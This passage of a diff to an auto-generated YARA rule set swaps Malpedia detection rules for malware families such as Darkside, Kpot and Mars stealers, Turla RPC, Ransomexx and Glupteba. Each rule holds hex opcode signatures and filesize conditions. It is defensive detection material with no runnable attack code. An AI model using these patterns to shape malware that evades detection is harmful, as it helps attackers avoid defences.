+		$sequence_16 = { 48894c2430 4c8d45ff 488d4d0f 418bd6 48894c2428 488d4d07 48894c2420 }
+		$sequence_17 = { 42884c0500 49ffc0 4983f80d 72af 44884d0f }
+		$sequence_18 = { 33d2 ffd0 897c2450 b856555555 }
+		$sequence_19 = { 0fb64500 0fb645ff 84c0 755c }
+		$sequence_20 = { 488b4f30 488b4738 4885c9 7406 }
+		$sequence_21 = { 48894c2448 488d55e0 488d4c2470 4533c0 }
+		$sequence_22 = { 42884c0501 49ffc0 4983f80c 72af }
+		$sequence_23 = { 41b801000000 488bd3 8bcf ffd0 4d85f6 }
 
 	condition:
-		7 of them and filesize <18759680
+		7 of them and filesize <520192
 }
-rule MALPEDIA_Win_Darkside_Auto : FILE
+rule MALPEDIA_Win_Nemim_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4e98e522-42dc-58c9-8c11-9325d3b56f3a"
+		id = "7264494b-d73b-5298-a829-f60e4932364f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkside_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nemim_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "e40a0efe65c9a50695ac0381c3b73c18492ef0b0fce9893dbb25777c239f867f"
+		logic_hash = "0e5cb332d550079bcd770b6c5ca18dad9c60646bca1f9092ed4ed3564e5ea600"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154040,32 +161216,32 @@ rule MALPEDIA_Win_Darkside_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bd8 68ff000000 57 e8???????? 81c7ff000000 }
-		$sequence_1 = { 85d2 7407 52 57 }
-		$sequence_2 = { b9ff000000 33d2 f7f1 85c0 7418 }
-		$sequence_3 = { 57 e8???????? 81c7ff000000 4b }
-		$sequence_4 = { fec1 75d2 5f 5e 5a 59 5b }
-		$sequence_5 = { 56 57 b9f0000000 be???????? }
-		$sequence_6 = { 8b7d08 8b450c b9ff000000 33d2 f7f1 }
-		$sequence_7 = { 56 57 b9f0000000 be???????? 8b4508 }
-		$sequence_8 = { e8???????? 5f 5e 5a 59 5b 5d }
-		$sequence_9 = { 81ea10101010 2d10101010 81eb10101010 81ef10101010 }
+		$sequence_0 = { a1???????? c1e002 89b48050744300 8b0d???????? 893d???????? 890d???????? }
+		$sequence_1 = { eb3b a1???????? 68???????? 50 e8???????? 83c408 }
+		$sequence_2 = { 5e 5b c9 c20400 8bc1 c700???????? c3 }
+		$sequence_3 = { 5e 5d b801000000 5b 81c4bc000000 c3 }
+		$sequence_4 = { 8d44240c 55 50 56 c744241828010000 e8???????? 85c0 }
+		$sequence_5 = { 51 e8???????? 8dbc24600a0000 83c9ff 33c0 }
+		$sequence_6 = { 8b16 c1ea08 885001 8b0e c1e910 }
+		$sequence_7 = { 52 e8???????? 8b4c2440 8944244c b801000000 }
+		$sequence_8 = { 83fe10 7cde c605????????00 b90b000000 be???????? 8dbc2410010000 }
+		$sequence_9 = { 8844244c e8???????? 68???????? e8???????? 68???????? 8bf0 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE
+rule MALPEDIA_Win_Mars_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e45631fb-3fb5-58e0-9b9b-6b34d42ff6ce"
+		id = "d22235ef-5968-5e10-be47-3cfb22c5f1b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kpot_stealer_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mars_stealer_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "16f05178ea617d4330175d94df8b79c29f673ce62148ecbf2153af87111da7a0"
+		logic_hash = "b25b9578c7efb2902b746c00b6410a6cd2ad1c64e90ea264af3674a130d6b800"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154079,32 +161255,32 @@ rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03c6 50 ff75f4 e8???????? 59 59 8d4df8 }
-		$sequence_1 = { 0bce 8bc1 c1e804 33c2 250f0f0f0f 33d0 }
-		$sequence_2 = { 55 8bec ff7508 ff15???????? 83f8ff 7409 a8a7 }
-		$sequence_3 = { 8b4604 8b5df4 03d2 8d445802 e8???????? }
-		$sequence_4 = { 85c0 7427 8b45f8 03c6 50 }
-		$sequence_5 = { 57 8bf8 8b4518 0fb67005 }
-		$sequence_6 = { 8b45f4 c1e918 884b07 8945fc 8b45f0 83c308 ff4dec }
-		$sequence_7 = { 5e 5b c9 c3 0fb70f 6685c9 7440 }
-		$sequence_8 = { a8a7 7405 33c0 40 5d }
-		$sequence_9 = { 8bc1 c1e810 884306 8b45f4 }
+		$sequence_0 = { 33049508674100 894508 8b4d0c 83c101 894d0c 8b550c }
+		$sequence_1 = { 8b5118 52 8b853cfbffff 8b4814 }
+		$sequence_2 = { 898564e6ffff 83bd64e6ffff00 0f8405030000 6a00 }
+		$sequence_3 = { a1???????? 50 8b4d08 51 e8???????? 83c410 6a04 }
+		$sequence_4 = { 8b5508 c1ea08 33148d08674100 895508 8b450c }
+		$sequence_5 = { 52 8d85e8feffff 50 68???????? 8b4df8 51 }
+		$sequence_6 = { 837df820 0f8d61030000 6804010000 8d8de8feffff 51 e8???????? }
+		$sequence_7 = { 2b4d08 c681407c410000 8b550c 8955f8 }
+		$sequence_8 = { 8b953cfbffff 8b4214 83c020 50 6a00 }
+		$sequence_9 = { 52 8b85fcfbffff 50 ff15???????? 89857cdeffff }
 
 	condition:
 		7 of them and filesize <219136
 }
-rule MALPEDIA_Win_Turla_Rpc_Auto : FILE
+rule MALPEDIA_Win_Quickheal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d062a0c9-c6c6-5f57-a60f-6c6b55d2f616"
+		id = "1144a28c-6891-50e3-aab7-fbd2738d1ce6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turla_rpc_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quickheal_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "696b632d482c9df6571dae61d7a8f9238e184ca30e0aa7fbb216cfbf4128270e"
+		logic_hash = "c8252dc1fbd623ed33de5c38485302af864b4c120786c74e672f39f82eb29422"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154118,38 +161294,32 @@ rule MALPEDIA_Win_Turla_Rpc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c645bc55 c7854001000030163930 c78544010000343b2025 c6854801000055 c78560010000013c3830 c785640100003a202155 }
-		$sequence_1 = { c744244806393030 66c744244c2555 c785c000000006302110 c785c400000027273a27 c785c8000000183a3130 c685cc00000055 }
-		$sequence_2 = { c7456016273034 c745642130133c c7456839300255 c7851001000016273034 c7851401000021300527 c785180100003a363026 }
-		$sequence_3 = { c745b06970746f c745b472536163 66c745b86c00 ff15???????? }
-		$sequence_4 = { c7850401000030102d36 c785080100003025213c 66c7850c0100003a3b c6850e01000055 c745c007303431 }
-		$sequence_5 = { 488bd8 ffd3 488d4d70 488bf8 ffd3 }
-		$sequence_6 = { c6458e55 c744245033273034 66c74424543155 c744243033273030 c644243455 c744244033263030 66c74424443e55 }
-		$sequence_7 = { c6852e01000055 c745b0193a3431 c745b4193c3727 c745b834272c14 c645bc55 c7854001000030163930 c78544010000343b2025 }
-		$sequence_8 = { c7851401000021300527 c785180100003a363026 66c7851c0100002602 c6851e01000055 }
-		$sequence_9 = { c7854cffffff00000000 c78548ffffff00000000 c78554ffffff00000000 c78550ffffff00000000 c745bc53003a00 c745c028004d00 c745c44c003b00 }
-		$sequence_10 = { 56 ffd3 8987d8000000 8d87dc000000 }
-		$sequence_11 = { 68???????? ff15???????? 8b4dfc 33c0 5f 5e }
-		$sequence_12 = { 8bf8 85ff 7514 8d45ac 50 ff15???????? }
-		$sequence_13 = { 57 ff15???????? 8b85b8fdffff ffb5bcfdffff a3???????? }
-		$sequence_14 = { 68???????? e8???????? 6a03 68???????? 8d0c45ac880110 8bc1 }
-		$sequence_15 = { 8d45c8 50 ffd6 8bf8 8d8558ffffff }
+		$sequence_0 = { 7ce2 b814010000 8a8c28f8feffff 888c0484000000 40 3d30010000 72ea }
+		$sequence_1 = { 3bf3 0f840b030000 8d4e02 8d542424 51 }
+		$sequence_2 = { ff15???????? 8d542410 8d8424fc060000 52 6819000200 53 }
+		$sequence_3 = { 49 51 6a06 52 ffd5 83c408 }
+		$sequence_4 = { 2bce 51 56 50 56 e8???????? 83c410 }
+		$sequence_5 = { 8d445d0c 83c408 33f6 6683f93b }
+		$sequence_6 = { 83c102 3bc6 7cf0 5f }
+		$sequence_7 = { 7207 885101 04fc eb04 c6410100 3c02 7209 }
+		$sequence_8 = { f7d1 49 8dbc2414010000 8bd1 83c9ff f2ae a1???????? }
+		$sequence_9 = { 52 ffd7 85c0 7418 8b442410 c744241404010000 50 }
 
 	condition:
-		7 of them and filesize <311296
+		7 of them and filesize <553984
 }
-rule MALPEDIA_Win_Doorme_Auto : FILE
+rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "86390d1e-5c43-5440-9d47-06677f2da02f"
+		id = "59484933-96f5-5392-a130-d1897de1bd22"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doorme_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.trochilus_rat_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "36db3801adbf1063a2540e3d2f2d2feff6537948c8fe3ef7123221f42e10e308"
+		logic_hash = "e651983c70589c057f0ef7e60f3a8876ce52f4e099a0b1c41a830840b75beb3c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154163,32 +161333,32 @@ rule MALPEDIA_Win_Doorme_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48837e1810 7203 488b16 4c8b4610 488d4d58 e8???????? 488d5558 }
-		$sequence_1 = { 75f6 488bd7 488d4d68 e8???????? 90 4c8d8d10010000 }
-		$sequence_2 = { 41b111 41b207 450fb6da b312 0fb6f9 40b618 4533e4 }
-		$sequence_3 = { 488b05???????? 4833c4 48894537 488bda 488bf9 4889552f c6459700 }
-		$sequence_4 = { 498b7810 4885ff 7566 48897a10 }
-		$sequence_5 = { 488d5c2478 48837d9010 480f435c2478 488d05a23f0300 488945a0 c74424400e000000 }
-		$sequence_6 = { 488b00 498bcd ff5020 48894580 498b4500 498bcd ff5018 }
-		$sequence_7 = { 75f1 4983e801 75db 4883c510 4c8d15f06b0300 48836c243001 0f8564feffff }
-		$sequence_8 = { 488d8d20030000 e8???????? 488b7d80 488b07 488bcf ff5050 }
-		$sequence_9 = { 4889442440 448bc2 48894c2420 488bd9 }
+		$sequence_0 = { 0fb74636 50 ffd7 0fb7c8 668bd1 662b935e010100 }
+		$sequence_1 = { 6a32 56 53 e8???????? }
+		$sequence_2 = { 50 ffd3 668b8e52010100 662bc8 6683f903 0f8c9e000000 81863001010018fcffff }
+		$sequence_3 = { 56 8bf1 8d5e04 8bcb e8???????? 83f8ff 7407 }
+		$sequence_4 = { 8d4de4 51 50 ff7538 ff7534 }
+		$sequence_5 = { 5e 5d c20c00 55 8bec 837d08ff 56 }
+		$sequence_6 = { 68???????? 50 ff15???????? 85c0 7404 33c0 eb1a }
+		$sequence_7 = { ff15???????? 33c0 eb81 55 8bec 51 53 }
+		$sequence_8 = { 33db 391f 7e1d 8b4704 8b4c0304 68a01e0110 e8???????? }
+		$sequence_9 = { b8fac50010 e8???????? 8bf1 837d0800 7505 8b06 ff505c }
 
 	condition:
-		7 of them and filesize <580608
+		7 of them and filesize <630784
 }
-rule MALPEDIA_Win_Darkmoon_Auto : FILE
+rule MALPEDIA_Win_Bohmini_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c7bc3212-028b-5215-8293-c0df2749aba3"
+		id = "c674d076-0d8a-5cd0-a61f-b74753074ae4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkmoon_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bohmini_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "5987f0c1a065561468c6153b43a5b63a22d14e5454b4b93cd49fdb8fd5a12783"
+		logic_hash = "924ffc111e8f5edb5600c44b643235932f72ba9b2a992fa2571ad4dc6b3c6eb8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154202,32 +161372,32 @@ rule MALPEDIA_Win_Darkmoon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745e435000000 e8???????? 83c418 85c0 }
-		$sequence_1 = { 7432 8d55e4 8d45e8 52 8d4dec 50 8d95e4fdffff }
-		$sequence_2 = { 8dbe48010000 6800f00000 8bcf e8???????? 6800f00000 8bce }
-		$sequence_3 = { 7314 ff7510 ff750c ff7508 }
-		$sequence_4 = { c645fc03 e8???????? 8d4f08 c645fc04 e8???????? }
-		$sequence_5 = { c645fc07 e8???????? eb02 33ff 57 c645fc01 }
-		$sequence_6 = { 83ec10 33c9 8bdc 33d2 8dbe48010000 }
-		$sequence_7 = { 8d860f040000 8945cc eb12 8d86130d0000 }
-		$sequence_8 = { 837df020 750e 8dbdfcfdffff c60720 }
-		$sequence_9 = { 50 837df400 740d 6800800000 6a00 ff75f4 ff5625 }
+		$sequence_0 = { 896c2410 896c2414 0f86c5000000 8b7c2420 }
+		$sequence_1 = { 6a00 6a00 8bca 83c11a 51 6a00 6a00 }
+		$sequence_2 = { 8d542414 6a00 52 ff15???????? 85c0 }
+		$sequence_3 = { ff15???????? 3bc3 a3???????? 7512 5f 5e }
+		$sequence_4 = { 6800040000 50 53 ff15???????? 50 ff15???????? }
+		$sequence_5 = { 4a 741a 4a 7543 e8???????? 03c6 33d2 }
+		$sequence_6 = { 83c410 85c0 7507 6891130000 eb2a }
+		$sequence_7 = { 8b5608 52 ffd5 40 50 }
+		$sequence_8 = { 52 e8???????? 40 50 8d8424b8010000 50 }
+		$sequence_9 = { 8b2d???????? 8b3e 51 6a00 ffd5 50 ffd3 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Ransomexx_Auto : FILE
+rule MALPEDIA_Win_Rc2Fm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f239143d-e5d1-5c3c-aec9-a76464ab403c"
+		id = "e4f1d324-0720-53a3-a9da-cb15ebd44ad4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransomexx_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rc2fm_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "3b39ad6bc64b52ed616287d6ece517d9776b1298e49d7060ccab50a0c57b68b4"
+		logic_hash = "2b4b23efded831a0bcad4decee49c98aca63a9f5af170fcd017bff9b432b8451"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154241,32 +161411,32 @@ rule MALPEDIA_Win_Ransomexx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc3 8d75e0 e8???????? 8bf0 85f6 0f85f8020000 eb07 }
-		$sequence_1 = { 6884010000 6a08 c745fc04010000 ffd7 50 ff15???????? 8bf0 }
-		$sequence_2 = { 8b4f08 3bce 7425 8b4704 03c0 03c0 }
-		$sequence_3 = { 8bf8 85ff 752c 8d55f8 c70601000000 6a02 }
-		$sequence_4 = { c1ee0a 33fe 8bf7 8b7dfc 039c3da4feffff 03f3 }
-		$sequence_5 = { c1ee03 33fe 03df 8b7dfc 039c3db8feffff 8bb43d94feffff 03f3 }
-		$sequence_6 = { 837df801 0f8612010000 8b4df8 8b5f04 49 b801000000 d3e0 }
-		$sequence_7 = { 8b55f0 8b4508 8d4dd0 51 52 57 50 }
-		$sequence_8 = { 56 50 e8???????? 8b07 83c40c 8975fc }
-		$sequence_9 = { 39742420 0f862e010000 8d642400 837c242001 7540 837c242400 7539 }
+		$sequence_0 = { 48894c2408 55 57 4154 4156 488d6c24c1 4881ecb8000000 }
+		$sequence_1 = { 4883ec20 498bf1 4d8bf0 4c8bfa 488bd9 ff15???????? }
+		$sequence_2 = { 415c 5f 5b c3 488b09 4889ac2480000000 }
+		$sequence_3 = { b001 eb14 448bc3 ba00000500 b91b000100 e8???????? }
+		$sequence_4 = { 488b4808 4c897d00 4c89742460 48894df8 8d4e14 e8???????? 6690 }
+		$sequence_5 = { 448bc0 e8???????? eb0f ba0a000b00 b911000100 e8???????? 488b0d???????? }
+		$sequence_6 = { 0fb68c28304c0200 eb0c 48c1e807 0fb68c28304d0200 4863c1 448bd7 66ff8483b0090000 }
+		$sequence_7 = { 88040a ff4328 8b5328 0fb64745 488b4b10 88040a ff4328 }
+		$sequence_8 = { 83b98804000000 488bd9 7431 ff8b88040000 8b8388040000 4c8b84c360040000 4d85c0 }
+		$sequence_9 = { 0f8781010000 83fd09 0f8778010000 448b642478 4183fc04 0f8769010000 488b4938 }
 
 	condition:
-		7 of them and filesize <372736
+		7 of them and filesize <410624
 }
-rule MALPEDIA_Win_Dnespy_Auto : FILE
+rule MALPEDIA_Win_Liteduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "70dfc3a2-0802-5571-8c6e-dca5ba3f52dd"
+		id = "c89a689f-3dfd-5d2a-aec1-28f7aca47554"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnespy_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.liteduke_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "5f9d7d06b9dad4ee82945ca7222951c2d8150747511ca4dc6b623794062c6006"
+		logic_hash = "5d6b62682cd8e4bed5eedc1b6f48e136bed91567c9f36c00bf40e1cbea238867"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154280,32 +161450,32 @@ rule MALPEDIA_Win_Dnespy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83ec18 8d4508 8bcc 50 e8???????? ba01000000 8d4dc8 }
-		$sequence_1 = { f30f7e4594 8b459c 660fd645a4 8945ac 7209 8b0e 8bc1 }
-		$sequence_2 = { 8bf1 8954240c 57 8b7d08 89442414 837e4c00 7471 }
-		$sequence_3 = { 74e7 83f80d 74e2 40 83f87e 0f878b010000 }
-		$sequence_4 = { 6a50 668945e8 ff15???????? 668945ea 8d45e8 6a10 }
-		$sequence_5 = { 0f84f0000000 8bc8 e8???????? 8bd0 c745e000000000 8bca c745e40f000000 }
-		$sequence_6 = { 6a00 6a00 8d85e0cfffff 50 6a00 ff15???????? ffb5a0cfffff }
-		$sequence_7 = { 8a18 3a19 750a 40 41 3bc2 75f0 }
-		$sequence_8 = { 744b 8d45f4 c745f000000000 50 8d45f8 c745f800000000 50 }
-		$sequence_9 = { c685ebfeffff00 c685ecfeffff0f c685edfeffff0a c685eefeffff03 8a85dcfeffff c685effeffff00 0f1f440000 }
+		$sequence_0 = { ff7508 ff15???????? ff75fc ff15???????? 5b 5e }
+		$sequence_1 = { 6800010000 ff15???????? c3 68???????? ff15???????? }
+		$sequence_2 = { 5b 5e 5f 8b45d8 c9 c20400 55 }
+		$sequence_3 = { 41 83f904 7cdd 5f 5e }
+		$sequence_4 = { c9 c20800 55 89e5 ff7508 e8???????? }
+		$sequence_5 = { c20c00 c70101000000 61 c9 c20c00 c70100000000 61 }
+		$sequence_6 = { c1c006 243f 3c3e 7205 c0e002 2c0e 2c04 }
+		$sequence_7 = { 46 8a06 8807 46 43 41 42 }
+		$sequence_8 = { b800000000 8a03 c1e804 83f809 7f05 83c030 eb03 }
+		$sequence_9 = { 56 e8???????? 83c40c ff750c 56 e8???????? 83c408 }
 
 	condition:
-		7 of them and filesize <794624
+		7 of them and filesize <1171456
 }
-rule MALPEDIA_Win_Bookcodesrat_Auto : FILE
+rule MALPEDIA_Win_Slave_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "12c3f4c8-ae45-5c42-aff9-36df89db636e"
+		id = "2db01cdc-36fb-5960-a7bc-78a56f81c6bb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bookcodesrat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slave_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "4448935151876512796b7de65b4c6301493ba2a3fb6e7bb9bd7b534c17d01712"
+		logic_hash = "b1287622c49df3c1a2838a3a773babcdc61506504422851d523ef94f6f257153"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154319,32 +161489,32 @@ rule MALPEDIA_Win_Bookcodesrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 488d0d97900100 ff15???????? 833d????????00 750a b901000000 e8???????? }
-		$sequence_1 = { 33c0 48c7471807000000 48894710 668907 4883c728 493bfe 75d7 }
-		$sequence_2 = { 488b5c2430 488b742438 4883c420 5f c3 482bf3 66660f1f840000000000 }
-		$sequence_3 = { 4883c9ff 33c0 488dbb40080000 66f2af 48f7d1 48ffc9 74e8 }
-		$sequence_4 = { 0f858a000000 ba04010000 488bce ffd7 85c0 744e 33c0 }
-		$sequence_5 = { 0f1f440000 ffc6 4c8b4310 4883c8ff 492bc0 4883f801 0f868a000000 }
-		$sequence_6 = { 75ee 488d8d50010000 33d2 41b808020000 e8???????? 488b4c2438 488d442430 }
-		$sequence_7 = { 488d4c2420 ba04010000 ff15???????? 33c0 4883c9ff 488d7c2420 66f2af }
-		$sequence_8 = { ff15???????? 418985a8010000 32db 48897c2430 897c2428 897c2420 4533c9 }
-		$sequence_9 = { 4863c2 4c8bc1 8bd1 888c0560080000 6690 420fb68405a0020000 49ffc0 }
+		$sequence_0 = { ff15???????? 85c0 0f84e0020000 6a04 6800100000 6800100000 }
+		$sequence_1 = { 7514 66837b0600 7405 8a4306 }
+		$sequence_2 = { 0fbf4720 33d2 50 0fb6c1 68???????? 83c008 }
+		$sequence_3 = { 730d 810e00000800 808b0603000040 8b4610 808b0603000010 8a55ff }
+		$sequence_4 = { c74710d5000000 eb10 c7471095000000 eb07 c7471085000000 f70700400000 742f }
+		$sequence_5 = { c1c90d 33c8 8b7dd4 8b45e8 03fa c1c802 33c8 }
+		$sequence_6 = { 83ec24 53 32c0 32c9 56 8b7508 }
+		$sequence_7 = { 8a8e08010000 f6c210 0f8411040000 8b8610030000 0b8614030000 0f84c2000000 f6c240 }
+		$sequence_8 = { 8bc6 c1c806 33c8 8bc3 3345d4 034da0 }
+		$sequence_9 = { 8bd8 0b5df4 2345f4 03ca 235de0 0bd8 8b55ac }
 
 	condition:
-		7 of them and filesize <544768
+		7 of them and filesize <532480
 }
-rule MALPEDIA_Win_Glupteba_Auto : FILE
+rule MALPEDIA_Win_Skinnyboy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "09a70f19-6d2a-5533-851a-d46346a3f052"
+		id = "c1dca40b-594e-536c-99f6-c4dd1e2fe372"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glupteba_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skinnyboy_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "f2320a7d413271b6097cf4accf3d3e4465e91ebbc62274538ef55443d4833776"
+		logic_hash = "70d89835d7c3795dc1cc1ad5fe812e10b23259f8f17b962d2f0a6c8239d19e5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -154358,38 +161528,32 @@ rule MALPEDIA_Win_Glupteba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c8 c1e102 33c8 03c9 }
-		$sequence_1 = { ff75dc ff7508 ff75e2 e8???????? 83c410 ff35???????? ff15???????? }
-		$sequence_2 = { 50 8d85fcf7ffff 50 56 e8???????? 68e8030000 8d85fcf7ffff }
-		$sequence_3 = { 59 7e17 83c0fc 33c9 85c0 7e0e }
-		$sequence_4 = { 334e04 8b75d0 33cf 8b7ddc c1ef08 c1ee10 }
-		$sequence_5 = { 85c0 0f8435010000 807df473 7550 0fb745f7 50 }
-		$sequence_6 = { 0f8f9c010000 894df8 ff7518 53 53 e8???????? }
-		$sequence_7 = { 46 8975f8 83f810 7cd9 8d48f0 f7d9 1bc9 }
-		$sequence_8 = { 0101 03d3 8b4620 8bcb }
-		$sequence_9 = { 00cd 3e46 005e3e 46 }
-		$sequence_10 = { 0107 eb4d 8b02 89442418 }
-		$sequence_11 = { 00f1 3d46005e3e 46 00cd }
-		$sequence_12 = { 0012 3f 46 008bff558bec }
-		$sequence_13 = { 0106 830702 392e 75a0 }
-		$sequence_14 = { 005e3e 46 00ff 3e46 }
-		$sequence_15 = { 00ff 3e46 0012 3f }
+		$sequence_0 = { 6a03 6a00 6a00 68bb010000 ffb5ccfeffff 56 ff15???????? }
+		$sequence_1 = { ff30 8945f0 ff36 8975f4 }
+		$sequence_2 = { 660fd68564feffff f30f7e05???????? 8d8576feffff 6a00 50 660fd6856cfeffff e8???????? }
+		$sequence_3 = { ffd7 ffd3 6a00 6a00 }
+		$sequence_4 = { c7856cffffff464b1153 c78570ffffff05170610 c78574ffffff035d591e c78578ffffff01591244 }
+		$sequence_5 = { c1fb05 8bfe 83e71f c1e706 8b049d10110110 }
+		$sequence_6 = { ff15???????? 8bf0 89b5d8feffff ffd3 }
+		$sequence_7 = { c745bc79000000 660fd645c0 660fd645c8 c745e457000000 660fd645e8 660fd645f0 }
+		$sequence_8 = { 85d2 740f 668b444de4 6631444dd0 41 3bca }
+		$sequence_9 = { 8d45f4 50 ff7308 ff15???????? 8b15???????? 85c0 }
 
 	condition:
-		7 of them and filesize <1417216
